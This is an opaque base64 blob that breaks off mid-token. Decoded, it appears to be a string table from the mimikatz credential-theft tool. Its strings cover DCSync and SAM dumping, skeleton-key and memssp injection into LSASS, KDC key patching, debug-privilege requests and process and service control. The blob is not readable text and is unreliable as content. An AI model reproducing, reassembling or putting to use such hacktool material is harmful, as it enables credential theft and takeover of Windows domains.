AGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0ACwAIABvAHIAIABkAG8AZQBzAG4AJwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAlAHMAJQAuACoAcwAlAHMAAAAAACAAIAAgACAAJQBzAC0AJQAyAHUAOgAgAAAAAAAgACAASABhAHMAaAAgACUAcwA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAEUAUwAyAGIAbABvAGMAawBzADEARABXAE8AUgBEAAAAAABPAGIAagBlAGMAdAAgAFIARABOACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAABIAE8ATQBFAEQASQBSAF8AUgBFAFEAVQBJAFIARQBEAAAAAABMAE8AQwBLAE8AVQBUAAAAUABBAFMAUwBXAEQAXwBOAE8AVABSAEUAUQBEAAAAAABQAEEAUwBTAFcARABfAEMAQQBOAFQAXwBDAEgAQQBOAEcARQAAAAAAAAAAAEUATgBDAFIAWQBQAFQARQBEAF8AVABFAFgAVABfAFAAQQBTAFMAVwBPAFIARABfAEEATABMAE8AVwBFAEQAAABUAEUATQBQAF8ARABVAFAATABJAEMAQQBUAEUAXwBBAEMAQwBPAFUATgBUAAAAAABOAE8AUgBNAEEATABfAEEAQwBDAE8AVQBOAFQAAAAAADAAeAA0ADAAMAAgAD8AAABJAE4AVABFAFIARABPAE0AQQBJAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAVwBPAFIASwBTAFQAQQBUAEkATwBOAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAFMARQBSAFYARQBSAF8AVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAgAD8AAAAAAEQATwBOAFQAXwBFAFgAUABJAFIARQBfAFAAQQBTAFMAVwBEAAAAAABNAE4AUwBfAEwATwBHAE8ATgBfAEEAQwBDAE8AVQBOAFQAAABTAE0AQQBSAFQAQwBBAFIARABfAFIARQBRAFUASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAEYATwBSAF8ARABFAEwARQBHAEEAVABJAE8ATgAAAAAATgBPAFQAXwBEAEUATABFAEcAQQBUAEUARAAAAFUAUwBFAF8ARABFAFMAXwBLAEUAWQBfAE8ATgBMAFkAAAAAAEQATwBOAFQAXwBSAEUAUQBVAEkAUgBFAF8AUABSAEUAQQBVAFQASAAAAAAAUABBAFMAUwBXAE8AUgBEAF8ARQBYAFAASQBSAEUARAAAAAAAVABSAFUAUwBUAEUARABfAFQATwBfAEEAVQBUAEgARQBOAFQASQBDAEEAVABFAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AXwBBAFUAVABIAF8ARABBAFQAQQBfAFIARQBRAFUASQBSAEUARAAAAFAAQQBSAFQASQBBAEwAXwBTAEUAQwBSAEUAVABTAF8AQQBDAEMATwBVAE4AVAAAAFUAUwBFAF8AQQBFAFMAXwBLAEUAWQBTAAAAAAAwAHgAMQAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADIAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAA0ADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAOAAwADAAMAAwADAAMAAwACAAPwAAAAAARABPAE0AQQBJAE4AXwBPAEIASgBFAEMAVAAAAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAAABOAE8ATgBfAFMARQBDAFUAUgBJAFQAWQBfAEcAUgBPAFUAUABfAE8AQgBKAEUAQwBUAAAAQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8AQQBMAEkAQQBTAF8ATwBCAEoARQBDAFQAAABVAFMARQBSAF8ATwBCAEoARQBDAFQAAABNAEEAQwBIAEkATgBFAF8AQQBDAEMATwBVAE4AVAAAAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABBAFAAUABfAEIAQQBTAEkAQwBfAEcAUgBPAFUAUAAAAEEAUABQAF8AUQBVAEUAUgBZAF8ARwBSAE8AVQBQAAAAKgAqACAAUwBBAE0AIABBAEMAQwBPAFUATgBUACAAKgAqAAoACgAAAFMAQQBNACAAVQBzAGUAcgBuAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFUAcwBlAHIAIABQAHIAaQBuAGMAaQBwAGEAbAAgAE4AYQBtAGUAIAAgADoAIAAAAEEAYwBjAG8AdQBuAHQAIABUAHkAcABlACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAAKAAgACUAcwAgACkACgAAAFUAcwBlAHIAIABBAGMAYwBvAHUAbgB0ACAAQwBvAG4AdAByAG8AbAAgADoAIAAlADAAOAB4ACAAKAAgAAAAAABBAGMAYwBvAHUAbgB0ACAAZQB4AHAAaQByAGEAdABpAG8AbgAgACAAIAA6ACAAAABQAGEAcwBzAHcAbwByAGQAIABsAGEAcwB0ACAAYwBoAGEAbgBnAGUAIAA6ACAAAABPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAgAEkARAAgACAAIAA6ACAAAABPAGIAagBlAGMAdAAgAFIAZQBsAGEAdABpAHYAZQAgAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAAoAQwByAGUAZABlAG4AdABpAGEAbABzADoACgAAAAAAbgB0AGwAbQAAAAAAbABtACAAIAAAAAAACgBTAHUAcABwAGwAZQBtAGUAbgB0AGEAbAAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA6AAoAAAAqACAAJQB3AFoAIAAqAAoAAAAAACUwMngAAAAAAAAAACoAKgAgAFQAUgBVAFMAVABFAEQAIABEAE8ATQBBAEkATgAgAC0AIABBAG4AdABpAHMAbwBjAGkAYQBsACAAKgAqAAoACgAAAFAAYQByAHQAbgBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAAAAYwBtAGQAAABDAG8AbQBtAGEAbgBkACAAUAByAG8AbQBwAHQAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAEMATQBEACkAAAAAAHIAZQBnAGUAZABpAHQAAAAAAAAAUgBlAGcAaQBzAHQAcgB5ACAARQBkAGkAdABvAHIAIAAgACAAIAAgACAAIAAgACAAKAB3AGkAdABoAG8AdQB0ACAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzACkAAAAAAHQAYQBzAGsAbQBnAHIAAABUAGEAcwBrACAATQBhAG4AYQBnAGUAcgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAKQAAAAAAbgBjAHIAbwB1AHQAZQBtAG8AbgAAAAAAAAAAAEoAdQBuAGkAcABlAHIAIABOAGUAdAB3AG8AcgBrACAAQwBvAG4AbgBlAGMAdAAgACgAdwBpAHQAaABvAHUAdAAgAHIAbwB1AHQAZQAgAG0AbwBuAGkAdABvAHIAaQBuAGcAKQAAAAAAZABlAHQAbwB1AHIAcwAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFQAcgB5ACAAdABvACAAZQBuAHUAbQBlAHIAYQB0AGUAIABhAGwAbAAgAG0AbwBkAHUAbABlAHMAIAB3AGkAdABoACAARABlAHQAbwB1AHIAcwAtAGwAaQBrAGUAIABoAG8AbwBrAHMAAAB3AGkAZgBpAAAAAABtAGUAbQBzAHMAcAAAAAAAcwBrAGUAbABlAHQAbwBuAAAAAABtAGkAcwBjAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAHcAbABhAG4AYQBwAGkAAABXbGFuT3BlbkhhbmRsZQAAV2xhbkNsb3NlSGFuZGxlAFdsYW5FbnVtSW50ZXJmYWNlcwAAV2xhbkdldFByb2ZpbGVMaXN0AABXbGFuR2V0UHJvZmlsZQAAV2xhbkZyZWVNZW1vcnkAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBkAGUAdABvAHUAcgBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbgBvAHQAXwByAGUAYQBkAHkAAABjAG8AbgBuAGUAYwB0AGUAZAAAAGEAZABfAGgAbwBjAF8AbgBlAHQAdwBvAHIAawBfAGYAbwByAG0AZQBkAAAAZABpAHMAYwBvAG4AbgBlAGMAdABpAG4AZwAAAGQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABhAHMAcwBvAGMAaQBhAHQAaQBuAGcAAABkAGkAcwBjAG8AdgBlAHIAaQBuAGcAAABhAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBuAGcAAAAAACAAKgAgAAAAIAAvACAAJQBzACAALQAgACUAcwAKAAAACQB8ACAAJQBzAAoAAAAAAG0AcwB2AGMAcgB0AC4AZABsAGwAAAAAAGZvcGVuAAAAZndwcmludGYAAAAAZmNsb3NlAABsAHMAYQBzAHMALgBlAHgAZQAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAEkAbgBqAGUAYwB0AGUAZAAgAD0AKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAATG9jYWxBbGxvYwAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbABvAGMAYQBsAGcAcgBvAHUAcAAAAAAAZwByAG8AdQBwAAAAbgBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgAEIAdQBpAGwAdABpAG4AIAAoAD8AKQAgACUAMAA4AHgACgAAAAoARABvAG0AYQBpAG4AIABuAGEAbQBlACAAOgAgACUAdwBaAAAAAAAKAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgADoAIAAAAAoAIAAlAC0ANQB1ACAAJQB3AFoAAAAAAAoAIAB8ACAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEkAZABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQARwByAG8AdQBwAHMARgBvAHIAVQBzAGUAcgAgACUAMAA4AHgAAAAAAAoAIAB8AGAAJQAtADUAdQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARwBlAHQAQQBsAGkAYQBzAE0AZQBtAGIAZQByAHMAaABpAHAAIAAlADAAOAB4AAAAAAAKACAAfAC0ACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBSAGkAZABUAG8AUwBpAGQAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBVAHMAZQByACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEQAbwBtAGEAaQBuAHMASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAAgACUAMAA4AHgACgAAAAAAZABlAGIAdQBnAAAAQQBzAGsAIABkAGUAYgB1AGcAIABwAHIAaQB2AGkAbABlAGcAZQAAAHAAcgBpAHYAaQBsAGUAZwBlAAAAUAByAGkAdgBpAGwAZQBnAGUAIABtAG8AZAB1AGwAZQAAAAAAUAByAGkAdgBpAGwAZQBnAGUAIAAnACUAdQAnACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAGkAdgBpAGwAZQBnAGUAXwBzAGkAbQBwAGwAZQAgADsAIABSAHQAbABBAGQAagB1AHMAdABQAHIAaQB2AGkAbABlAGcAZQAgACgAJQB1ACkAIAAlADAAOAB4AAoAAABlAHgAcABvAHIAdABzAAAATABpAHMAdAAgAGUAeABwAG8AcgB0AHMAAAAAAGkAbQBwAG8AcgB0AHMAAABMAGkAcwB0ACAAaQBtAHAAbwByAHQAcwAAAAAAcwB0AGEAcgB0AAAAUwB0AGEAcgB0ACAAYQAgAHAAcgBvAGMAZQBzAHMAAABzAHQAbwBwAAAAAABUAGUAcgBtAGkAbgBhAHQAZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAcwB1AHMAcABlAG4AZAAAAFMAdQBzAHAAZQBuAGQAIABhACAAcAByAG8AYwBlAHMAcwAAAHIAZQBzAHUAbQBlAAAAAABSAGUAcwB1AG0AZQAgAGEAIABwAHIAbwBjAGUAcwBzAAAAAABQAHIAbwBjAGUAcwBzACAAbQBvAGQAdQBsAGUAAAAAAFQAcgB5AGkAbgBnACAAdABvACAAcwB0AGEAcgB0ACAAIgAlAHMAIgAgADoAIAAAAE8ASwAgACEAIAAoAFAASQBEACAAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAHMAdABhAHIAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABOAHQAVABlAHIAbQBpAG4AYQB0AGUAUAByAG8AYwBlAHMAcwAAAAAATgB0AFMAdQBzAHAAZQBuAGQAUAByAG8AYwBlAHMAcwAAAAAATgB0AFIAZQBzAHUAbQBlAFAAcgBvAGMAZQBzAHMAAAAlAHMAIABvAGYAIAAlAHUAIABQAEkARAAgADoAIABPAEsAIAAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAbgBlAHIAaQBjAE8AcABlAHIAYQB0AGkAbwBuACAAOwAgACUAcwAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQBuAGUAcgBpAGMATwBwAGUAcgBhAHQAaQBvAG4AIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAG4AZQByAGkAYwBPAHAAZQByAGEAdABpAG8AbgAgADsAIABwAGkAZAAgACgALwBwAGkAZAA6ADEAMgAzACkAIABpAHMAIABtAGkAcwBzAGkAbgBnAAAAJQB1AAkAJQB3AFoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBjAGEAbABsAGIAYQBjAGsAUAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGMAYQBsAGwAYgBhAGMAawBQAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBvAHAAZQBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAKACUAdwBaAAAAAAAKAAkAJQBwACAALQA+ACAAJQB1AAAAAAAJACUAdQAAAAkAIAAAAAAACQAlAHAAAAAJACUAUwAAAAkALQA+ACAAJQBTAAAAAAAKAAkAJQBwACAALQA+ACAAJQBwAAkAJQBTACAAIQAgAAAAAAAlAFMAAAAAACMAJQB1AAAAUwB0AGEAcgB0ACAAcwBlAHIAdgBpAGMAZQAAAFIAZQBtAG8AdgBlACAAcwBlAHIAdgBpAGMAZQAAAAAAUwB0AG8AcAAgAHMAZQByAHYAaQBjAGUAAAAAAFMAdQBzAHAAZQBuAGQAIABzAGUAcgB2AGkAYwBlAAAAUgBlAHMAdQBtAGUAIABzAGUAcgB2AGkAYwBlAAAAAABwAHIAZQBzAGgAdQB0AGQAbwB3AG4AAABQAHIAZQBzAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAcwBoAHUAdABkAG8AdwBuAAAAAABTAGgAdQB0AGQAbwB3AG4AIABzAGUAcgB2AGkAYwBlAAAAAABMAGkAcwB0ACAAcwBlAHIAdgBpAGMAZQBzAAAAUwBlAHIAdgBpAGMAZQAgAG0AbwBkAHUAbABlAAAAAAAlAHMAIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGcAZQBuAGUAcgBpAGMARgB1AG4AYwB0AGkAbwBuACAAOwAgAFMAZQByAHYAaQBjAGUAIABvAHAAZQByAGEAdABpAG8AbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAASQBuAGoAZQBjAHQAIABuAG8AdAAgAGEAdgBhAGkAbABhAGIAbABlAAoAAAAAAAAARQBSAFIATwBSACAAZwBlAG4AZQByAGkAYwBGAHUAbgBjAHQAaQBvAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHMAZQByAHYAaQBjAGUAIABuAGEAbQBlACAAYQByAGcAdQBtAGUAbgB0AAoAAAAAAFMAdABhAHIAdABpAG4AZwAAAAAAUgBlAG0AbwB2AGkAbgBnAAAAAABTAHQAbwBwAHAAaQBuAGcAAAAAAFMAdQBzAHAAZQBuAGQAaQBuAGcAAAAAAFIAZQBzAHUAbQBpAG4AZwAAAAAAUAByAGUAcwBoAHUAdABkAG8AdwBuAAAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGUAcgB2AGkAYwBlAHMALgBlAHgAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAHMAZQByAHYAaQBjAGUAXwBzAGUAbgBkAGMAbwBuAHQAcgBvAGwAXwBpAG4AcAByAG8AYwBlAHMAcwAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AcwBlAGEAcgBjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAGUAcgByAG8AcgAgACUAdQAKAAAATwBLACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBzAGUAcgB2AGkAYwBlAF8AcwBlAG4AZABjAG8AbgB0AHIAbwBsAF8AaQBuAHAAcgBvAGMAZQBzAHMAIAA7ACAATgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAHcAaQB0AGgAbwB1AHQAIABTAGMAUwBlAG4AZABDAG8AbgB0AHIAbwBsAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AcwBlAHIAdgBpAGMAZQBfAHMAZQBuAGQAYwBvAG4AdAByAG8AbABfAGkAbgBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABlAHgAaQB0AAAAAABRAHUAaQB0ACAAbQBpAG0AaQBrAGEAdAB6AAAAYwBsAHMAAAAAAAAAQwBsAGUAYQByACAAcwBjAHIAZQBlAG4AIAAoAGQAbwBlAHMAbgAnAHQAIAB3AG8AcgBrACAAdwBpAHQAaAAgAHIAZQBkAGkAcgBlAGMAdABpAG8AbgBzACwAIABsAGkAawBlACAAUABzAEUAeABlAGMAKQAAAAAAYQBuAHMAdwBlAHIAAAAAAEEAbgBzAHcAZQByACAAdABvACAAdABoAGUAIABVAGwAdABpAG0AYQB0AGUAIABRAHUAZQBzAHQAaQBvAG4AIABvAGYAIABMAGkAZgBlACwAIAB0AGgAZQAgAFUAbgBpAHYAZQByAHMAZQAsACAAYQBuAGQAIABFAHYAZQByAHkAdABoAGkAbgBnAAAAYwBvAGYAZgBlAGUAAAAAAFAAbABlAGEAcwBlACwAIABtAGEAawBlACAAbQBlACAAYQAgAGMAbwBmAGYAZQBlACEAAABzAGwAZQBlAHAAAAAAAAAAUwBsAGUAZQBwACAAYQBuACAAYQBtAG8AdQBuAHQAIABvAGYAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAAAEwAbwBnACAAbQBpAG0AaQBrAGEAdAB6ACAAaQBuAHAAdQB0AC8AbwB1AHQAcAB1AHQAIAB0AG8AIABmAGkAbABlAAAAYgBhAHMAZQA2ADQAAAAAAAAAAABTAHcAaQB0AGMAaAAgAGYAaQBsAGUAIAB